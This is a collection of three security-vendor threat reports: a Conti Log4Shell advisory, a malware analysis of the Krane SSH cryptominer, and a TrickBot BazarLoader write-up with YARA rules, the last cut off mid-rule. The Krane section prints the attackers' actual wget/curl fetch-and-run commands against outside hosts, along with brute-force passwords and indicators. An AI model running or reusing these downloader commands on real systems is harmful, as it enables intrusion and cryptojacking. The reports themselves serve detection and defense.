mastercommunications.ru | 109.94.218.192 | | | | 193.58.177.124 | | OVH US LLC | ovh.com | 51.81.45.12 | | | | 51.81.45.128 | | Proline IT Ltd | selectel.ru | 176.53.133.249 | | | | 193.160.216.60 | | | | 193.160.217.66 | | | | 77.83.4.102 | | | | 77.83.5.161 | | Qwarta LLC | qwarta.ru | 193.232.144.116 | | | | 194.190.112.167 | | | | 194.190.179.10 | | | | 194.190.190.64 | | | | 194.190.90.41 | | | | 194.190.91.222 | | | | 194.226.185.120 | | | | 195.19.209.226 | | | | 212.193.136.39 | | | | 212.193.137.253 | | | | 212.193.140.208 | | | | 212.193.143.60 | | | | 62.76.147.174 | | | | 62.76.153.235 | This post will be updated with additional details on observed user agents. Is your organization protected from cloud credentialing attacks? Learn about Cloud Account Defense.
# Ransomware Advisory: Log4Shell Exploitation for Initial Access & Lateral Movement **AdvIntel** **December 17, 2021** **By Vitali Kremez & Yelisey Boguslavskiy** This redacted report is based on our actual proactive victim breach intelligence and subsequent incident response identified via unique high-value Conti ransomware collections at AdvIntel via our product “Andariel.” ## Conti Ransomware Log4Shell Operation ### Background: Log4Shell Vulnerability On December 11, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an urgent announcement on possibly the most important vulnerability of recent years: “To be clear, this (Log4j2) vulnerability poses a severe risk. We urge all organizations to join us in this essential effort and take action. By bringing together key government and private sector partners via the JCDC, including our partners at the FBI and NSA, we will ensure that our country’s strongest capabilities are brought to bear in an integrated manner against this risk.” CISA’s concerning tone is understandable: the new vulnerability is not another hidden path for a malicious attack. Embedded deeply in the stack level, it offers the attackers an entire new dimension of offensive patterns. The depth is transferred to scale as this vulnerability affects core library components supporting thousands of networks, companies, and machines across the world. Recorded in the vulnerability database on Friday, November 26, 2021, the Apache Log4j2 Java-based logging library vulnerability CVE-2021-44228 has the highest possible severity score of Base Score: 10.0 CRITICAL allowing direct remote code execution on the vulnerable machines. Due to its core component impact, this vulnerability can be compared to the Apache Struts vulnerability CVE-2019-0230: Apache Struts OGNL Remote Code Execution that led to the breach of Equifax. Multiple technologies and products run Log4j2 library including popular vCenter, Kafka, Elastic, and Minecraft presenting an attack surface for the attackers. The current activity surrounding the vulnerability resulted in massive world scanning with payloads running from miners, unix DDoS malware, and framework stagers pushed to the compromised hosts. ### Conti: A Quest For Ultimate Ransomware Exploitation Naturally, this new attack domain became the focal point of hackers’ interests. Hacker teams suspected to work for foreign governments and US adversaries were quickly spotted to investigate Log4j2. As the new adversarial pattern seen with ProxyLogon in March 2021 suggests, if one day a major CVE is spotted by APTs, the next week it is weaponized by ransomware. A week after the Log4j2 vulnerability became public, AdvIntel discovered the most concerning trend - the exploitation of the new CVE by one of the most prolific organized ransomware groups - Conti. Conti plays a special role in today’s threat landscape, primarily due to its scale. Divided into several teams and involving tenths of full-time members, the Russian-speaking Conti made over $150 million USD in the last six months, according to AdvIntel research into the ransomware logs. They continue to expand, searching for new attack surfaces and methods. Since August, they have employed many new means: hidden RMM backdoors, new backup removal solutions, and, most recently, even an entire operation to revive Emotet. Moreover, Conti already had a history of leveraging exploits as an initial attack vector and for lateral movement. For instance, the group leverages Fortinet VPN vulnerability CVE-2018-13379 to target unpatched devices for the initial attack vector. Conti favors PrintNightmare privilege elevation CVE-2021-34527/CVE-2021-1675, Zerologon (CVE-2020-1472), and ms17-010 for local privilege elevation and lateral movement on the compromised hosts. As such, Log4j2 vulnerability appears at a time for Conti: at the moment when the syndicate has both the strategic intention and the capability to weaponize it for its ransomware goals. ### Discovery: Conti Becomes The First Sophisticated Crimeware Ransomware Group Weaponizing Log4j2 #### Ransomware Exploitation Timeline: Conti Search for Newer Attack Vectors - **November 1, 2021** - Due to shrinking attack surfaces, Conti begins the quest to find new attack vectors - **November 14, 2021** - Use of Emotet - CobaltStrike Chain for Attack - **November 19, 2021** - Conti Redesigns Their Infrastructure Aiming for New Expansion - **November 25, 2021** - Announcing New Conti Payload - **December 6, 2021** - R&D work on advancing botnet modules - **December 12, 2021** - Conti identifies Log4Shell as a novel possibility - **December 13, 2021** - Scanning activity for initial access - **December 15, 2021** - Targeting of vCenter networks for lateral movement On December 12, through deep visibility into adversarial collections, AdvIntel discovered that multiple Conti group members expressed interest in the exploitation of the vulnerability for the initial attack vector resulting in the scanning activity leveraging the publicly available Log4J2 exploit. This is the first time this vulnerability entered the radar of a major ransomware group. The current exploitation led to multiple use cases through which the Conti group tested the possibilities of utilizing the Log4J2 exploit. Most importantly, AdvIntel confirmed that the criminals pursued targeting specific vulnerable Log4J2 VMware vCenter for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions. ### Early Warning: Ransomware Exploitation of Core Vulnerability It is only a matter of time until Conti and possibly other groups will begin exploiting Log4j2 to its full capacity. It is recommended to patch the vulnerable system immediately and view the Log4j2 as a ransomware group exploitation vector. AdvIntel provides direct customer access to targeting datasets related to CVE-2021-44228 Log4Shell exploitation from the Conti ransomware list. The Log4Shell dataset informs possible targeted devices from vulnerability scanner devices only. Targeted Searches are available using TLD & IP Range in Log4Shell Exposure Collections. ## Recommendations & Mitigations The Dutch National Cyber Security Center shared a list of the affected software and recommendations linked to each one of them. - **CVE-2021-44228** - VMSA-2021-0028 Workaround instructions to address CVE-2021-44228 in vCenter Server and vCenter Cloud Gateway. ### Mitre ATT&CK **Enterprise Attack - Course of Action** - Account Discovery Mitigation - T1087 - Brute Force Mitigation - T1110 - Credential Dumping Mitigation - T1003 - Data Encrypted Mitigation - T1022 - Data from Local System Mitigation - T1005 - Exploitation for Defense Evasion Mitigation - T1211 - Exploitation for Privilege Escalation Mitigation - T1068 - Exploitation of Remote Services Mitigation - T1210 - Network Service Scanning Mitigation - T1046 - PowerShell Mitigation - T1086 - Supply Chain Compromise Mitigation - T1195 **Attack Pattern** - Spearphishing Attachment - T1193 - Supply Chain Compromise - T1195 - Command-Line Interface - T1059 - PowerShell - T1086 - Rundll32 - T1085 - Regsvr32 - T1117 - Scripting - T1064 - Data Encrypted for Impact - T1486 - Data Encrypted - T1022 - Remote Access Tools - T1219 - Domain Fronting - T1172 - Data from Local System - T1005 - Data from Network Shared Drive - T1039 - Email Collection - T1114 - Pass the Hash - T1075 - Pass the Ticket - T1097 - Logon Scripts - T1037 - Exploitation of Remote Services - T1210 - Kerberoasting - T1208 - LLMNR/NBT-NS Poisoning and Relay - T1171 - Credentials in Files - T1081 - Brute Force - T1110 - Network Share Discovery - T1135 - File and Directory Discovery - T1083 - Domain Trust Discovery - T1482 - Process Hollowing - T1093 - Process Doppelgänging - T1186 - Process Injection - T1055 - New Service - T1050 - Exploitation for Privilege Escalation - T1068 Disrupt ransomware attacks & prevent data stealing with AdvIntel’s threat disruption solutions. Sign up for AdvIntel services and get the most actionable intel on impending ransomware attacks, adversarial preparations for data stealing, and ongoing network investigation operations by the most elite cybercrime collectives.
# New Threat Alert: Krane Malware **November 12, 2021** One of our honeypots has recently captured an interesting attack that we have not seen before. In this article, we will go through the peculiarities of the malware and detail the findings in a technical analysis. Catching something truly unique in the wild forest of the IoT threat landscape has not been a common event in 2021, since most of the attacks are descendants of Mirai and Gafgyt malware. We also recommend reading our Honeypot Journals II: Attacks on Residential Endpoints for a broader overview of attacker tactics. The malware specimen we spotted not only has common capabilities like brute-force login prompts and the ability to deploy the XMRig cryptominer application to mine Monero for the attackers, but it also has an interesting combination of Bash and Python scripts to propagate and move laterally to infect vulnerable hosts. Overall, the malware has the following features: - Brute-forces credentials to enter SSH - Built-in password dictionary - Uses curl and wget to grab second stage payloads - Sets up persistence and cleans up logs to cover its tracks - Checks for competing botnets and cryptominers, kills their processes - Deploys XMRig cryptominer - Uses Bash scripts and a Python script to further propagate to vulnerable hosts - Includes a subnet scanner and a banner grabber module ## The Initial Vector of the Krane Malware The initial vector of entry was a brute-forced SSH login. Our sensor had flagged the attempt and we tried to find similar events or events from the same source. We saw that the following IP addresses were carrying out brute-force attempts in this campaign: | IP | rDNS | |-----------------------|----------------------------------| | 198.98.52[.]12 | No rDNS entry. | | 199.19.226[.]4 | kk[.]ko | | 199.195.252[.]242 | No rDNS entry. | | 209.141.40[.]193 | smtp21.dsfdsaonline[.]com | | 209.141.47[.]39 | chenximiao[.]ml | | 209.141.55[.]247 | No rDNS entry. | | 209.141.51[.]168 | soen390.alan[.]ly | All of these IP addresses belong to AS53667. AS53667, or PONYNET, has been known to be a malware distribution center for some time now. PONYNET is owned by Frantech Solutions, a so-called bulletproof hosting service provider. Bulletproof hosting providers allow their customers considerable leniency in the types of material they upload and distribute from hosted servers, whether it be phishing campaigns, malicious botnets, or other illegal activities. The firm BuyVM (also owned by Frantech Solutions) has datacenters in the US and originates most of the attacks noted above. We observed the following usernames being used in the SSH break-in events: - Git - Web - Cisco - Tomcat - Steam - Chia - Hyjx - Es - Azureuser Once the malware gains access with valid credentials, it will attempt to deploy a downloader script, which tries to pull the second stage payload from a hardcoded location. ```bash cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56[.]65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane [email protected] cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.57[.]111/ssh || curl -o ssh 209.141.57.111/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane [email protected] cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.32[.]157/ssh || curl -o ssh 209.141.32.157/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane Root12345 ``` The three highlighted servers had been the main distributors of Krane, but, over the following weeks, many others have started to propagate the Krane malware: | Count | Distribution server | |-------|-----------------------------| | 68 | 198.98.56[.]65/krax | | 50 | 209.141.57[.]111/ssh | | 36 | 209.141.32[.]157/ssh | | 11 | 209.141.32[.]204/ssh | | 7 | 209.141.54[.]197/ssh | | 4 | 209.141.58[.]203/ssh | The last argument in the Bash downloader script looks to be a password that is passed to the krane file. We have seen the following passwords used: - user - hduser - Test1234 - [email protected] - [email protected] - Test1236 - test12346 - Test12346 - nagios6 - oracle6 - Postgres1236 - traacerlab6 - 1234566 - 12346 - Admin123456 - oracle6Z - 1234566l - ubuntu - admin - Root12345 - admin6( - [email protected] - [email protected] ## Second Stage Payloads There were two main packages being pulled via the scripts: - krax - ssh ### The krax Package ```bash cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56[.]65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane [email protected] ``` The package called krax consists of a hidden directory called ._lul. Inside the directory, we can see the following files: - config.json - krn - krane **krane:** The UID check will, by default, return the value 0 if the current user is root, and, if that is the case, the condition will take the else branch. On MacOS, if the script is running via a normal user account, the UID usually has an id of 50x, while on Linux system the UID will be > 1000. The krane script also does some house-chores: - It cleans up pre-existing instances of Krane. - Deletes log files like lastlog, bash_history, messages, utmp, and wtmp to hide its activities. - Re-creates the log files to remove traces of tampering. As we investigated the campaign, we have gathered all variants of this shell script and made notes of all hardcoded passwords used. The krane bash script also includes a short Romanian sentence, shedding some light on its creator’s likely whereabouts. `#descarci scriptu, si il rulezi cu ./script.sh parola_de_la_root` It means “download the script, and run it with ./script.sh.” **krn:** This binary is the executable of the cryptocurrency miner, called XMRig 6.12.1. XMRig is a high-performance, open-source, cross-platform RandomX, KawPow, CryptoNight, and AstroBWT unified CPU/GPU miner and RandomX benchmark. It hijacks the user’s computer and uses its resources to mine digital currency. XMRig has many plugins and supports many types of CPUs and GPU cores, like nVidia CUDA or AMD (OpenCL). **config.json:** Config.json is the descriptive file, a configuration set for XMRig to know where to connect to and which crypto pool to use. Krane uses Hashvault’s pool, like many other cryptocurrency-mining malware: - pool.hashvault.pro:80 ### The ssh Package The other campaign downloads a package file called ssh: ```bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.32[.]157/ssh || curl -o ssh 209.141.32.157/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane Root12345 ``` Inside the packed archive file is a hidden directory called .ssh, with two files inside: - krane - sshd The script file krane is the same as the one described in the krax archive file. **sshd:** The sshd Bash script is a second-stage downloader script: based on the output of the nproc environmental variable, it will pull either the road campaign or the runner campaign. Nproc prints the available CPU cores on any given system. However, the condition which determines this is fundamentally flawed: nproc is being queried from the $nproc variable, but it is not set on every system by default. We found that most Linux systems simply return nothing when $nproc is queried, triggering the else branch of the condition. Later, we captured a new variant of the downloader script, which not only checks for the available processing units but also checks whether the libssh-4 library is installed on the system. ```bash dpkg –l | grep libssh4 ``` **.road:** A hidden folder .road is created in this campaign; it has five files: - a - b - config.json - krane - run **“a” script file:** This script file’s purpose is to kill: - running instances of Krane, - other instances of XMRig, - the Sysrv botnet, - the cryptojacker Watchdog. **“b” script file:** `nohup watch -n 3 sh /tmp/.ssh/a &` Nohup is a POSIX command which means “no hang up.” Its purpose is to execute a command that ignores the HUP (hangup) signal and therefore does not stop when the user logs out. Output that would normally go to the terminal goes to a file called nohup. The file being executed and watched is the “a” script file, which kills competing cryptominers and any earlier instances of XMRig or Krane. **config.json:** The XMRig configuration file that stores the pool, password, and wallet information. **run:** The run script file checks whether any of the four binaries are running already: if not, it will proceed and execute the send_vuln.py Python script. **send_vuln.py:** The send_vuln.py file calls the k_config.json file and parses it. The IP address and port found in that JSON file will serve as the C2 server to which the results – the list of vulnerable hosts – are sent to. The list of vulnerable hosts is temporarily stored in a prinse.txt file. **k_config.json:** This file holds the IP address and port number of the C2 server to which the list of vulnerable hosts is sent. Reports are sent every 15 seconds. **boner:** This executable binary is a simple banner grabber. It knocks on all IP addresses found in the list file and grabs their respective banner from the specified port. There is also an option to use more threads to speed up the program. **cosynus:** The cosynus binary is a simple SYN port scanner. There is an option to set the speed, target port number, and IP class. **main:** The main executable is the first element in the attack chain. This binary is the one that starts the SSH brute-force based on the ipuri file (it is used for the input parameter). After a successful login to a vulnerable host, main makes sure to download either the krax, ssh, road, or runner archive packages to the target machine and starts the whole infection chain. Again, we have spotted several Romanian sentences in the executable, shedding some light on the nationality of the developer. - [IPuri Ramase] - Acu ti-l urc - nu se mai poate face sessiuni, meci mai rorst - Bv mane l-ai loat an gurtza - mna, pe asta ti-o mai rezolva pula mea **pscan2:** Pscan2 is a simple TCP port scanner. It produces results in a file called scan.log. ## Cryptomining We can get a clear picture about the actor’s mining operation by looking up the respective wallets on Hashvault: so far, we saw three wallets that are used and distributed between campaigns. The three wallets: - 49PGW8Cg8yj4oFktr5Au5zjUHkagMusKxctQGdJ6MNkD3TZYGsAbEEAc31QSfPjdJ14ME36hdAmJRPVaeiNB2K4nGPsenv6 At one point, the two workers had 70 miners (infections) in total. - 46p7Typ6JQk7WpWyyE3J62M5bh39yygDm6rNYB4cowZPiiCjm2wQ8YFTum6ii2DZAePgpcz8zKMamfLX1EjDHJwvCWEZ6VW The CPP worker had 29 miners at one point. - 46yvASpNp25BeTXJB9Zd18K4b7LWcYGZ2HYopYF6TNfCNWJQc2xMJb5dow7SucAYPu1eAui54mf3AFifzYvfAbF35kFaXJb Here, we have observed more than 200 miners (active infections) at a single point. If we add up the balance of the three unique wallets, the total value mined was: - 2053.82 EUR - 355.38 EUR - 25.06 EUR In total: 2434.26 EUR Most mature malware campaigns gain much larger amounts over their lifetime, but, considering that Krane showed development over the past months, we expect more infections to happen at later stages as the malware matures forward. ## OSINT on the Krane Botnet There has not been much mention of this malware family in the infosec community. The only worthwhile mention is a Twitter post by user @Dogeiana from the 29th of July. The poster described a direct interaction between the operator and him when the attacker deployed the cryptominer onto the victim’s honeypot system. ## Coverage The malicious IPs and URLs related to Krane/Krax and the Roadrunner campaign are blocked by CUJO AI Sentry. ## Indicators of Compromise **Cryptowallets [Monero]** - 46p7Typ6JQk7WpWyyE3J62M5bh39yygDm6rNYB4cowZPiiCjm2wQ8YFTum6ii2DZAePgpcz8zKMamfLX1EjDHJwvCWEZ6VW - 46yvASpNp25BeTXJB9Zd18K4b7LWcYGZ2HYopYF6TNfCNWJQc2xMJb5dow7SucAYPu1eAui54mf3AFifzYvfAbF35kFaXJb - 49PGW8Cg8yj4oFktr5Au5zjUHkagMusKxctQGdJ6MNkD3TZYGsAbEEAc31QSfPjdJ14ME36hdAmJRPVaeiNB2K4nGPsenv6 **Hosts** - krane.ddns[.]net - pool.hashvault[.]pro **URLs** - hxxp://ro4drunner[.]com/.db/$File - hxxp://ro4drunner[.]com/.db/$File2 - hxxp://ro4drunner[.]com/road - hxxp://ro4drunner[.]com/runner - hxxp://ro4drunner[.]com/ssh - 107.189.2[.]131/ssh - 107.189.2[.]131/road - 107.189.2[.]131/runner - 198.98.56[.]65/krax - 209.141.32[.]157/.guns/$File - 209.141.32[.]157/.guns/$File2 - 209.141.32[.]157/ssh - 209.141.32[.]204/ssh - 209.141.54[.]197/ssh - 209.141.57[.]111/ssh - 209.141.58[.]203/ssh - 209.141.58[.]203/ssh1 - 209.141.58[.]203/ssh2 **IPs** - 51.15.118[.]233 - 86.120.247[.]210 - 104.244.78[.]183 - 107.189.2[.]131 - 107.189.13[.]129:10102 - 141.255.153[.]99 - 198.98.52[.]12 - 198.98.56[.]65 - 199.19.226[.]4 - 199.195.252[.]242 - 209.141.32[.]157 - 209.141.32[.]204 - 209.141.40[.]193 - 209.141.43[.]13 - 209.141.47[.]39 - 209.141.51[.]168 - 209.141.54[.]4 - 209.141.54[.]197 - 209.141.55[.]247 - 209.141.57[.]111 - 209.141.58[.]203 **Passwords:** **File and folder names:** - ._lul - .road - .runner - .ssh - a - b - boner - clase.txt - config.json - cosynus - k_config.json - krane - krn - main - nope - passfile.txt - pscan2 - road - runner - run - send_vuln.py - sshd - yes **Hashes** - 03c04220db8287fcc0f016e2f69929a582cb038e6e2c9626b1db608299b9511d a - 04f7da06d4176f6d3f14d2abd9e8dbaa2b31821c8bd602bd3f458436a8ac74aa krane - 09fc3d56722a2d7345bdc6ce475549a2a78b006fbbf366a024c5d300ab8c2266 config.json - 0d79493b35cc4198aa41c4efecef69dadd1360cbae5ecef21b43f6879e3a927a main - 1011a5e837aa216725292bf05ec03774fa6d981cae7bf5ee882e882cb65d0c8c krane - 130557a083326e8fc588f05b12d782bb5530e5289b7ceca0f03c557156ca035b sshd - 135a661475b6122a879ab9f9e62ed92f8c46fd07a63aacc6b6b16156034ba7d7 krax - 16d80cb55df5f3a8ed8161d0b301af2a1d437c6c657605b41884a95005a4b483 krax - 18fbe2bc23a4d39bac95c09c0cfad3f439a15d6b9eb61747e0289b2df9ad992c k_config.json - 1d0db9e4094fe635cf13ba1628ed0dbd96e97967cc9fd874fdf890d8dc87d983 config.json - 1e822c861e9482033696aa58e64e2f89dc7b3f46bf5f22c0ddb42e0fa0d5301c nope - 205a70982a62b7155587d425407c968b962d6118e8517bb582ed5bef9a39e6b8 k_config.json - 2ede344e0415193d41b90d3cdfbf8558c307d8b8182464dfe15655ea1f88eab0 pscan2 - 2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251 boner - 3808f86fa9f1f9f0af5f6243f90d32bd6b3dbb7db228ef7ea2fdba346fbbdaa0 krane - 3c0aee19ccba5a0080b20b198c2c00cc5432cad8bb9875462170bd58419259cf run - 3fa92cfbfb8d9d46c1e837e96825e9a4fbb5b4d214c38ce2cbd286165b6b04b1 config.json - 4046583b3323b9cfe00f1c9773ca57cd80513f71a07c64ae7f59fea1284571ce krax - 4ccd2114fa692db310982cdcc1e9301cdf38c0ccd4f9a05144212ec1d474df11 config.json - 5015497b3a75125bd6cd5c5956d6c8a30c46b7d0df91eec42219acb4bb327faf sshd - 588e48eb1bf861a831a31b2dddc56926ba1735910d14795aff320640963b47bd krane - 661df0b02e799d3a5bf904ff5a18f79706115c73da84e89153a4e9791b4d8786 krax - 6988f670c3cee552792797e7f0aea6e93516bf278b29d3ddce13cedb6c261f3b send_vuln.py - 6bdbaef8537c2764870e24d7d959e19a8ab7db5baa0d0de57aea10d765176073 yes - 7bb8676c080c07af8274de5a4bb7db2c0c120e6606764d0186fa71b7026da56b krax - 8158664efe2753ba8d9a1d1ac32893779e6068218f6b3d41785264687da54ca6 b - 81984c0cffbae13cf40288487c958dd681b4e69874211e1d29fcb36da23b56f1 krax - 84be74c9e48be089222cf5822fe389df25119d93448d7c729773890e80fe009f krane - 97093a1ef729cb954b2a63d7ccc304b18d0243e2a77d87bbbb94741a0290d762 cosynus - 9916396a8542dbc006edcf03c643e41e787d4c5f9ad70011d769ebf198fa1e1d krane - a07cae8d471a3e19c91b3a1315a5ac32c7984721904bf031aef3562413d8298d a - a181adfe67d5be2137a489d4b859a7d21be69d758e8fcf987ebe7e11ea806e75 - a96797d948ff00486b39800e1d934eb05a983cd9dec720f5a41ed763b148627e krax - aab44120f65bd5f1b518fde2c018a2d2ef228b182eafff9b4d9de5873830fb49 config.json - b0a8dc79a798be9346f140af648ccd7089cf6a4d88a5961c7c888e5a0c76f8ac a - b12669f63d737ee63c6d3a632e1917d2d89950127aad6fefd6d81b6cc126a69e clase.txt - d1a01e023bef1ca08a344de2fa109991757f48a503f8c71225d24557355a285e main - d51e8e059bfbe22997fd0a3639cf4d79e9c5c9a9c6aec260a9d1ee694d57313e krax - d7908dfc14ff5a09b8b7c5efb8c35b3b37b1371781ef021302bd7c1936c508cd krane - d7e7265705bbb2d45c3c9b0d4a61e0d8f7403f4b1b5e5c10e76ffdc2b4d689de krane - Dc4eb01933cb16bb027bb50215480c30c39bd3d30b5b8f7b957833bd6381183a run - f33d1e913d3db9d5b6661dd5ab8a678807c8a79eca1eeefd8804e46b32ff46cf ssh - f642a1980ce3f4756dc8e5bac3a0d7578871294556c2467422ebe1a82338da34 ssh - f7021bbac761cfa04a9e86e4c7e73afdf9dad2f2f71627d617fab27e46f99942 passfile.txt - fff403517a09799ec4e4c5b6dc891bb5a614245afa9bd1b59fd5a0e935c15b3c krax **Albert Zsigovits** Malware Researcher CUJO AI Lens An AI-powered analytics solution that, for the first time, gives operators an aggregated, dynamic, and near real-time view into the way end users utilize their home or business networks.
# TrickBot BazarLoader In-Depth **AT&T Cybersecurity** **May 19, 2020 | Dax Morrow** Ofer Caspi, a fellow Alien Labs researcher, co-authored this blog. ## Executive Summary AT&T Alien Labs actively tracks the TrickBot group through an automated malware analysis system, hunting, and in-depth technical research. On April 20th, 2020, independent security researchers “pancak3lullz” (@pancak3lullz) and Vitali Kremez (@VK_Intel) posted a Tweet regarding two new TrickBot modules aptly named “BazarLoader” and “BazarBackdoor” after attempted Command and Control (C2) communications with the Emercoin DNS (EmerDNS) .bazar domains. EmerDNS is desirable for attackers because it is a distributed blockchain that is decentralized, cannot be censored, and cannot be altered, revoked, or suspended by any authority. Alien Labs’ automated malware analysis engine had picked up these samples a few days earlier. BleepingComputer posted a blog with input from Vitali Kremez regarding a phishing campaign distributed through the Sendgrid email marketing platform delivering COVID-19 lures that ultimately led to the TrickBot BazarBackdoor. The purpose of this blog is to provide additional technical details and an in-depth study of the signed TrickBot BazarLoader. ## Background Since TrickBot was discovered in 2016, it has been involved in information stealing, credential theft, ransomware, bitcoin mining, and loading other common crimeware malware as a first or second stage loader. For initial access as a first stage loader, it typically accomplishes its objective through spear phishing links (T1192) or spear phishing attachments (T1193) using macro-enabled Microsoft Office files. As a second stage payload and Dynamic Link Library (DLL), it is frequently loaded by Emotet. To a lesser extent, TrickBot has been loaded by Ostap JavaScript Downloader and Buer Loader. In higher priority, higher profile TrickBot Anchor campaigns that target enterprises, PowerTrick and more_eggs/TerraLoader have been used to load other frameworks. TrickBot has recently added a Remote Desktop Protocol (RDP) brute force scanner module, an Active Directory harvesting module, and the mexec executor module. There are some indications that TrickBot may be moving away from their mshare, mworm, and tabDll modules for retrieving payloads from URLs in favor of the “nworm” module performing this task. It is important to note that the TrickBot group prefers to use shellcode “file-less” modules, making detection more difficult. Alien Labs has previously identified digitally signed TrickBot Loaders, one of which was signed by an entity named “VB CORPORATE PTY. LTD.” Pivoting in VirusTotal on the signer shows the first submission was on 2020-01-02. Historically, the TrickBot group has continued to reuse their revoked certificates to sign TrickBot Loaders as long as six months after the initial date of detection on VirusTotal. A list of known TrickBot signers is included below: - BlueMarble GmbH - Cebola Limited - Company Megacom SP Z O O - D Bacte Ltd - FLORAL - James LTH d.o.o. - LIT-DAN UKIS UAB - PAMMA DE d.o.o. - PEKARNA TINA d.o.o. - PLAN CORP PTY LTD - SLIM DOG GROUP SP Z O O - THE FLOWER FACTORY S.R.L. - VAS CO PTY LTD - VB CORPORATE PTY. LTD. - VITA-DE d.o.o. ## Analysis The TrickBot BazarLoader authors have produced an advanced module, with a significant amount of obfuscation. The BazarLoader/Cryptor uses multiple routines to hide API calls and embedded strings, which are then decrypted and resolved at runtime. Once executed, the loader will allocate memory to store and decrypt its shellcode, which will be allocated to a NUMA node for faster execution. After allocation and decryption, the next instructions will jump to the shellcode that will be executed on the heap. Next, the malware will try to communicate with .bazar domain C2 servers. Once the C2 has been established, the loader will try to inject its payload into a system process using the process hollowing technique (T1093), which will create a suspended thread, unmap the destination image from memory, allocate new memory in the target process, copy the shellcode into the target process, set the thread context, and resume the process. In the sample analyzed, the loader will first attempt to inject into an “svchost” process, and if injection fails, it will try to inject into the “explorer.exe” process, and if injection fails again, as a last-ditch effort, the loader will attempt to inject into the “cmd.exe” process. For persistence, the loader will create a registry key under “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”. The malware uses the Windows API “VirtualAllocExNuma” function to allocate memory for its shellcode to be executed. The “VirtualAllocExNuma” function is used to allocate memory on a NUMA node, which allows for faster execution. It is interesting to note that the “VirtualAllocExNuma” function is not commonly used in process injection. In the BazarLoader, memory is allocated using the uncommon “VirtualAllocExNuma” routine, and then it uses two iterations of the decryption routine to decrypt its shellcode. In the second call to the decrypt function, some of the encryption key bytes are changed based on function parameters. The BazarLoader authors have created dozens of decryption routines, and with almost each string including APIs, DLLs, and C2s, there is a once per use unique decryption routine. The loader uses the same decryption technique described above to resolve the API calls it uses during execution. For injection, the malware resolves APIs from the ntdll.dll after it loads from disk and checks that there are no inline hooks within its function, which could be created, for example, by AV software that tracks those API calls. The targeted processes for injection include “svchost”, “explorer”, and “cmd”. ## Conclusion The TrickBot group continues to be a formidable threat in the cybercrime landscape as well as the advanced adversary threat landscape with TrickBot Anchor. The operations tempo for the TrickBot group is high with active development leading to module releases, sunsetting older TrickBot modules, digitally signing malware with new certificates as well as older revoked certificates, and large active campaigns based on socially relevant topics such as the COVID-19 pandemic. ## Appendix The following YARA rules are used by Alien Labs. For additional detections and a complete listing of Indicators of Compromise (IOCs), please see the OTX pulse. ### YARA Rules ```yara import "pe" rule crime_trickbot_bazar_loader { meta: author = "AT&T Alien Labs" description = "TrickBot BazarLoader" copyright = "Alienvault Inc. 2020" reference = "https://otx.alienvault.com/pulse/5ea7262636e7f750733c7436" strings: $code1 = { 49 8B CD 4C 8D [4] 00 7E 23 4C 8D 44 3B FF 66 66 66 90 66 66 66 90 41 0F B6 00 48 83 C1 01 49 83 E8 01 48 3B CB 42 88 44 21 0B 7C EA 8D 43 01 46 88 6C 23 0C 4C 63 C8 49 83 F9 3E 7D 15 41 B8 3E 00 00 00 4B 8D 4C 21 0C B2 01 4D 2B C1 E8 [4] 4C 8B 4C 24 48 48 8B 4C 24 40 48 8D 44 24 50 48 89 44 24 28 41 B8 4C 00 00 00 49 8B D4 44 89 6C 24 20 4C 89 6C 24 50 FF 15 [4] 85 C0 4C 8B 64 24 70 75 2C } $str = { 25 73 20 28 25 73 3A 25 64 29 0A 25 73 } //"%s (%s:%d)\\n%s" condition: uint16(0) == 0x5A4D and filesize < 3MB and $code1 and $str } rule crime_trickbot_loaders_signed { meta: author = "AT&T Alien Labs" description = "Signed TrickBot Loaders" copyright = "AlienVault Inc. 2020" reference = "https://otx.alienvault.com/pulse/5df94019452f666b340101d7" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 3MB and for any i in (0..pe.number_of_signatures - 1): ( pe.signatures[i].serial == "0c:a4:1d:2d:9f:5e:99:1f:49:b1:62:d5:84:b0:f3:86" or pe.signatures[i].serial == "09:83:06:75:eb:48:3e:26:5c:31:53:f0:a7:7c:3d:e9" or pe.signatures[i].serial == "00:86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32" or pe.signatures[i].serial == "00:f8:84:e7:14:62:0f:2f:4c:f8:4c:b3:f1:5d:7b:fd:0c" or pe.signatures[i].serial == "71:c8:df:61:e6:db:0a:35:fa:ff:ef:14:f1:86:5e" or pe.signatures[i].serial == "13:89:c8:37:3c:00:b7:92:20:7b:ca:20:aa:40:aa:40" or pe.signatures[i].serial == "33:09:fa:db:8d:a0:ed:2e:fa:1e:1d:69:1e:36:02:2d" or pe.signatures[i].serial == "00:94:8a:ce:cb:66:31:be:d2:8a:15:f6:66:d6:36:9b:54" or pe.signatures[i].serial == "02:8d:50:ae:0c:55:4b:49:14:8e:82:db:5b:1c:26:99" or pe.signatures[i].serial == "00:88:40:c3:f9:be:3a:91:d9:f8:4c:00:42:e9:b5:30:56" or pe.signatures[i].serial == "0e:96:83:7d:be:5f:45:48:54:72:03:91:9b:96:ac:27" or pe.signatures[i].serial == "04:dc:6d:94:35:b9:50:06:59:64:3a:d8:3c:00:5e:4a" or pe.signatures[i].serial == "0d:dc:e8:c9:1b:5b:64:9b:b4:b4:5f:fb:ba:6c:6c" or pe.signatures[i].serial == "1d:8a:23:3c:ed:ec:0e:13:df:1b:da:82:48:dc:79:a5" or pe.signatures[i].serial == "09:fc:1f:b0:5c:4b:06:f4:06:df:76:39:9b:fb:75:b8" or pe.signatures[i].serial == 